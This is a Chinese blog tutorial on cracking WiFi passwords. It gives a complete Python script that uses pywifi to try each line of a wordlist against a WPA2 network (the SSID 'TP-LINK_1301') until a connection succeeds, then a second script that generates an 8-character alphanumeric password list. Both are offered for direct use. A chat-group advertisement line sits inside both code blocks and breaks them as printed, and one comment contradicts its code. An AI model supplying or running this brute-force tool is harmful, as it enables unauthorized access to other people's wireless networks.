如觉得博主文章写的不错或对你有所帮助的话,还望大家多多支持呀!关注、点赞、收藏、评论。
文章目录
- 一、编写代码
- 二、展示测试结果
- 三、测试
- 四、生成密码本(建议自己找一个密码本)
一、编写代码
在桌面新建一个文件
如果你新建的文件没有后缀名.txt,请进行如下设置
打开刚刚新建的文件,下面代码写入文件,保存
# coding:utf-8
import pywifi
from pywifi import const
import time
import datetime
#测试连接,返回链接结果
def wifiConnect(pwd):
#抓取网卡接口
wifi=pywifi.PyWiFi()
#获取第一个无线网卡
ifaces=wifi.interfaces()[0]
#断开所有连接
ifaces.disconnect()
time.sleep(1)
wifistatus=ifaces.status()
if wifistatus ==const.IFACE_DISCONNECTED:
#创建WiFi连接文件
profile=pywifi.Profile()
#要连接WiFi的名称
profile.ssid="TP-LINK_1301"
#网卡的开放状态
profile.auth=const.AUTH_ALG_OPEN
#wifi加密算法,一般wifi加密算法为wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密单元
profile.cipher=const.CIPHER_TYPE_CCMP
#调用密码
profile.key=pwd
#删除所有连接过的wifi文件
ifaces.remove_all_network_profiles()
#设定新的连接文件
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
#wifi连接时间
time.sleep(1)
if ifaces.status()==const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi连接")
#读取密码本
def readPassword():
print("开始破解:")
#密码本路径
path="C:\\Users\\糖果\\Desktop\\Markdown学习\\pwd.txt"
#打开文件
file=open(path,"r")
while True:
try:
#一行一行读取
pad=file.readline()
bool=wifiConnect(pad)
Python学习交流群:748989764
if bool:
print("密码已破解: ",pad)
print("WiFi已自动连接!!!")
break
#else:
#跳出当前循环,进行下一次循环
#print("密码破解中....密码校对: ",pad)
except:
continue
start=datetime.datetime.now()
readPassword()
end=datetime.datetime.now()
print("破解WIFI密码一共用了多长时间:{}".format(end-start))
将刚刚建的文件,重命名为:WiFi密码的破解代码.py(xxx.py均可)
二、展示测试结果
必备文件
三、测试
- 打开python软件
2.打开代码:
- File→Open→破解WiFi密码.PY(找到破解代码)→打开
3.测试运行
- 修改:WiFi名 和 密码本路径
- 测试:Run→Run Module
四、生成密码本(建议自己找一个密码本)
- 如果有密码本就不需要这个步骤
1.代码(密码中有重复的数字和字母)
1.修改: 密码组成元素 和 密码保存路径
- 注意这个密码本生成需要很长时间,建议不要这样生成密码本
import itertools as its
import datetime
#记录程序运行时间
start=datetime.datetime.now()
words = '1234567890abcdefghijklmnopqrstuvwxyz'#这里可以加入字母和其他字符,使用string包更方便
# 生成密码的位数
r = its.product(words,repeat=8)#密码位数为9
dic =open(r"C:\\Users\\糖果\\Desktop\\Markdown学习\\pwd.txt",'a')
for i in r:
dic.write(''.join(i))
dic.write(''.join('\n'))
print(i)
Python学习交流群:748989764
dic.close()
print('密码本生成好了')
end=datetime.datetime.now()
print("生成密码本一共用了多长时间:{}".format(end-start))
- 运行步骤和前面破解WiFi密码相同不再讲解。